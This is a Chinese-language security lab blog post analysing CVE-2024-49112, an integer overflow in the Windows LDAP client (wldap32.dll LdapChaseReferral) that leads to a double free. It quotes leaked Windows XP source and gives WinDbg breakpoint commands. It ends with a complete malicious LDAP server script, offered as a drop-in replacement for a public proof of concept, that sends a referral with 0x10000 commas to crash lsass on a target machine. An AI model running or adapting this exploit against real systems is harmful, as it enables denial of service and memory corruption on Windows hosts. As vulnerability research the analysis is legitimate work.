CVE-2024-49112 Windos LDAP 整数溢出分析

CVE-2024-49112 Windos LDAP 整数溢出分析

毕方安全实验室 BeFun安全实验室 2025-02-21 03:02

CVE-2024-49112 Windos LDAP 整数溢出分析

背景

微软12月修复了一个古河大佬(@Yuki Chen)提交的LDAP协议的整数溢出,CVSS高达9.8,SafeBreach发布了一篇文章对漏洞进行了分析,给出了poc,并指出漏洞点位于wldap32.dll的LdapChaseReferral函数:

即这里的lm_referral是可以被用户控制的,在下面遇到未初始化的ref_table导致计算结果为非法地址触发崩溃:

古河表示这个实际上是他报告的另一个信息泄露的漏洞(CVE-2024-49113),而大家都在关注的9.8分的CVE-2024-49112相对于其他漏洞来说更难以利用,SafeBreach也修改了文章和poc为CVE-2024-49113。

我们注意到了同一个函数中的位于结尾的另一处修复:

可以看到这里修复了一个迭代遍历i的类型问题,可以从泄露的WindowsXP的源码中更直观看出来问题(没错又是一个祖传代码的二十年老洞):

typedef struct _LDAPReferralDN{    PWCHAR   ReferralDN;     // DN present in the referral    PWCHAR * AttributeList;  // Attributes requested    ULONG    AttribCount;    // Number of attributes requested    ULONG    ScopeOfSearch;  // Search scope    PWCHAR   SearchFilter;   // search filter    PWCHAR   Extension;      // Extension part of the URL    PWCHAR   BindName;       // A bindname extension for the URL} LDAPReferralDN, * PLDAPReferralDN;ULONG LdapChaseReferral(...){    ...    LDAPReferralDN *pldapRefDN = NULL;    ...    USHORT i;    ...    if (pldapRefDN != NULL) {        ldapFree(pldapRefDN->ReferralDN, LDAP_URL_SIGNATURE);        ldapFree(pldapRefDN->SearchFilter, LDAP_URL_SIGNATURE);        ldapFree(pldapRefDN->Extension, LDAP_URL_SIGNATURE);        ldapFree(pldapRefDN->BindName, LDAP_URL_SIGNATURE);        if (pldapRefDN->AttributeList) {            for (i=0; i<pldapRefDN->AttribCount; i++) {                ldapFree(pldapRefDN->AttributeList[i], LDAP_URL_SIGNATURE);            }        }        ldapFree(pldapRefDN->AttributeList, LDAP_URL_SIGNATURE);        ldapFree(pldapRefDN, LDAP_URL_SIGNATURE);    }    return hr;}

这里的i是USHORT(2字节)类型,LDAPReferralDN->AttribCount则是ULONG(4字节)类型,这就导致AttribCount在设置为0x10000时,i会从0增加到0xffff,随后触发溢出变回0,对AttributeList[0]再次进行free,触发一个double free的UAF,这也可能是微软给了高评分的原因:

POC

SafeBreach给出了一个触发此函数调用的poc,具体可见参考文章下面的GitHub repo[1]

具体来说,他们找了一个神奇的RPC,可以让目标机器向我们控制的服务器发起一个LDAP请求,细节可以参考文章[2],然后我们的恶意服务器返回一个LDAP Search Result Done Referral响应,其中就包含了触发49113的lm_referral和触发49112的AttribCount。

翻一下源码可以看到AttribCount增加的代码在LdapParseReferralDN函数:

//// Count the commas in the attrib string//PWCHAR lp = CurrentPos;while(*lp && *lp != L'\0') {    if((*lp == L',') && (*(lp-1) != L'\\')) {        pRefDN->AttribCount++;    }    lp++;}pRefDN->AttribCount++; // one more attribute than commas

根据注释可知是统计参数newDN中的逗号的

(实际上是通过逗号来确定数量,即一个标准的referral格式为:

ldap://ldap2.example.com/ou=sales,dc=example,dc=com)

newDN则来源于函数HandleReferral中的Request中的referrals:

//  we've got a referral here or maybe even a set of referrals.//  it is null terminated but could be multiple URLs separated//  by 0x0A (new line).//while ((referral != NULL) && (*referral != L'\0')) {    BOOLEAN ssl = FALSE;    if (ldapWStringsIdentical( referral,                               sizeof("ldap://")-1,                               L"ldap://",                               sizeof("ldap://")-1 ) == FALSE) {        if (ldapWStringsIdentical( referral,                                   sizeof("ldaps://")-1,                                   L"ldaps://",                                   sizeof("ldaps://")-1 ) == FALSE) {...

所以我们需要让我们的恶意服务器返回一个包含0x10000个逗号的referral,直接修改SafeBreach的POC:

ldap_search_result = LDAPSearchResultDoneRefferal(resultCode=REFERRAL_RESULT_CODE, referral=['ldap://a/a?' + ',' * 0x10000])

设置dns服务器之类的可以参考SafeBreach的文章。

总之,修改后发送数据包:

会有数据包过大的问题,所以尝试多次发送:

vulnerable_ldap_packet = get_malicious_ldap_packet(ldap_message.id)packet_size = len(vulnerable_ldap_packet)chunk_size = packet_size // 100remainder = packet_size % 100offset = 0for i in range(100):    current_chunk_size = chunk_size + 1 if i < remainder else chunk_size    end = offset + current_chunk_size    chunk = vulnerable_ldap_packet[offset:end]    self.transport.sendto(chunk, addr)    offset = end

然后抓包发现数据包格式不太对:

最终尝试自行构造(
GPTDeepSeek启动!)数据包,完整代码见末尾。

然后断下来可以看到我们的AttribCount是0x10001,继续运行成功触发崩溃:

附上windbg的打断点的命令方便大家复现:

// 寻找lsass的EPROCESS!process 0 0 lsass.exe// 切换进程空间到lsass.process /i ffffd307f32c4080 ;g// 刷新kd维护的用户态加载模块列表使之匹配当前进程.reload /f /user// 设置断点bp /p @$proc netlogon!DsrGetDcNameEx2// 上面这个断下来之后再断下面的,不然断不到bp /p @$proc wldap32!LdapChaseReferral+0x21dd

参考文章

    1. [CVE-2024-49113 POC] – https://github.com/SafeBreach-Labs/CVE-2024-49113
    1. [LDAPNightmare: SafeBreach Labs Publishes First Proof-of-Concept Exploit for CVE-2024-49113] – https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-CVE-2024-49113/

完整代码

只需要替换掉SafeBreach的exploit_server.py,用法相同

# exploit_server.pyimport asyncioimport loggingimport timefrom struct import pack# 配置日志logger = logging.getLogger(__name__)logging.basicConfig(level=logging.INFO)# 定义 LDAP 请求的常量LDAP_SUCCESS = 10LDAP_REFERRAL = 10LDAP_SEARCH_RESULT_DONE = 0x05# Search result done 操作类型LDAP_SEARCH_REQUEST = 99# Search 操作类型# 构建LDAP Search Result Done Referral响应defgenerate_ldap_search_result_done_referral_response(message_id: int, referrals: list):    defencode_length(length):        if length < 128:            returnbytes([length])        else:            length_bytes = length.to_bytes((length.bit_length() + 7) // 8, byteorder='big')            returnbytes([0x80 | len(length_bytes)]) + length_bytes    defencode_string(s):        s_bytes = s.encode('utf-8')        return encode_length(len(s_bytes)) + s_bytes    defencode_referrals(referrals):        referrals_bytes = b''        for referral in referrals:            referrals_bytes += b'\x04' + encode_string(referral)        return encode_length(len(referrals_bytes)) + referrals_bytes    # 正确编码结果代码,使用 ENUMERATED 标签 0x0A    result_code_bytes = b'\x0A' + encode_length(1) + b'\x0a'    # 匹配的 DN 为空    matched_dn = b'\x04\x00'    # 诊断消息为空    diagnostic_message = b'\x04\x00'    # 编码引用列表    referrals_encoded = encode_referrals(referrals)    # 构建搜索结果完成响应    search_result_done = result_code_bytes + matched_dn + diagnostic_message + b'\xa3' + referrals_encoded    # 构建协议操作,0x65 表示搜索结果完成    protocol_op = b'\x65' + encode_length(len(search_result_done)) + search_result_done    # 编码消息 ID    message_id_bytes = b'\x02\x01' + message_id.to_bytes(1, byteorder='big')    # 构建 LDAP 消息    ldap_message = b'\x30' + encode_length(        len(message_id_bytes) + len(protocol_op)    ) + message_id_bytes + protocol_op    return ldap_messageclassLdapServerProtocol(asyncio.DatagramProtocol):    def__init__(self):        super().__init__()        self.transport = None    defconnection_made(self, transport: asyncio.DatagramTransport) -> None:        self.transport = transport        logger.info("LDAP Server started, awaiting requests...")    defdatagram_received(self, data: bytes, addr) -> None:        try:            # 解析 LDAP 请求            message_id = data[8]            operation = data[9]            logger.info(f"Received LDAP request from {addr}, operation: {operation}")            if operation == LDAP_SEARCH_REQUEST:                # 处理 Search 请求                logger.info("Processing Search request...")                # Referral URL 列表                referrals = [                    'ldap://a/a?' + ',' * 0x10000                ]                # 生成带有 Referral 的 Search Result Done 响应                search_result_done_referral_response = generate_ldap_search_result_done_referral_response(                    message_id, referrals                )                # logger.info(search_result_done_referral_response)                # self.transport.sendto(search_result_done_referral_response, addr)                                packet_size = len(search_result_done_referral_response)                chunk_size = packet_size // 100                remainder = packet_size % 100                offset = 0                for i inrange(100):                    current_chunk_size = chunk_size + 1if i < remainder else chunk_size                    end = offset + current_chunk_size                    chunk = search_result_done_referral_response[offset:end]                    self.transport.sendto(chunk, addr)                    offset = end                                logger.info(f"Sent Search Result Done Referral response to {addr}")            else:                logger.error(f"Unsupported LDAP operation: {operation}")        except Exception as e:            logger.error(f"Error while processing datagram: {e}")    deferror_received(self, exc) -> None:        logger.error(f"Error received: {exc}")    defconnection_lost(self, exc) -> None:        logger.info(f"Connection lost: {exc}")# 启动服务器的函数asyncdefrun_exploit_server(listen_port: int):    loop = asyncio.get_running_loop()    transport, _ = await loop.create_datagram_endpoint(        lambda: LdapServerProtocol(),        local_addr=('0.0.0.0', listen_port)    )    try:        await asyncio.Future()  # Keep the server running    except KeyboardInterrupt:        pass    finally:        transport.close()        logger.info("Server has been shut down.")defstart_ldap_server(listen_port: int):    """Run the async LDAP server in this thread."""    asyncio.run(run_exploit_server(listen_port))if __name__ == "__main__":    start_ldap_server(8888)